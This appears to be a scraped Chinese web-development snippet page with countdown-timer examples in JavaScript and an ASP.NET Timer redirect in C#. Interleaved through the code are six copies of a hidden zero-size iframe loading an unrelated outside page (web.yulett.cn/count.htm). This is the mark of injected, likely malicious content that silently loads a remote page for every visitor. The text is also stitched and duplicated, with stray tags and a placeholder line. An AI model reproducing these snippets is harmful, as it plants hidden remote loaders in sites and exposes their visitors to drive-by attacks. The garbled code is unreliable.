<script language="JavaScript"> var urodz= new Date("8/8/2008"); var s="今天离<font color=red>北京奥运会开幕</font>"; var now = new Date(); var ile = urodz.getTime() - now.getTime(); var dni = Math.floor(ile / (1000 * 60 * 60 * 24)); if (dni >0) document.write(""+s+"还有<font color=red>"+dni +"</font>天") else document.write("好象已经过了吧!"); </script> <iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe> <iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
var urodz= new Date("8/8/2008");
var s="今天离<font color=red>北京奥运会开幕</font>";
var now = new Date();
var ile = urodz.getTime() - now.getTime();
var dni = Math.floor(ile / (1000 * 60 * 60 * 24));
if (dni >0)
document.write(""+s+"还有<font color=red>"+dni +"</font>天")
else
document.write("好象已经过了吧!");
</script>
<iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
<iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
<script language="javascript">
function opencolortext(){
window.open('http://www.javascript.com','colortext')
}
setTimeout("opencolortext()",1000)
</script><iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
<iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
2、添加UpdatePanel;
3、在UpdatePanel添加Timer及Label;<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<asp:UpdatePanel ID="UpdatePanel3" runat="server">
<ContentTemplate>
<asp:Timer ID="Timer1" runat="server" Interval="1000" OnTick="Timer1_Tick">
</asp:Timer>
<asp:Label ID="Label3" runat="server" Height="18px" Text="Label"> </asp:Label>
</ContentTemplate>
</asp:UpdatePanel>protected void Page_Load(object sender, EventArgs e)
{
this.Label3.Text = this.index.ToString() + "秒后自动转到首页";
}
private int index
{
get
{
object o = ViewState["index"];
return (o == null) ? 5 : (int)o;
}
set
{
ViewState["index"] = value;
}
}
protected void Timer1_Tick(object sender, EventArgs e)
{
this.index--;
if (this.index == 0)
{
//this.Label3.Text = this.index.ToString() + "秒后自动转到首页";
Response.Redirect("default2.aspx", false);
this.Timer1.Enabled = false;
}
else
{
this.Label3.Text = this.index.ToString() + "秒后自动转到首页";
}
}
var nduration = 900
function dojishi(){
nduration --;
if(nduration ==0)
{}
else
{
document.all.item('dd').value = nduration;
}
}
window.setInterval("dojishi()",1000)
</script>
<body>
<input id='dd' type=text>
</body>
{执行你的操作
}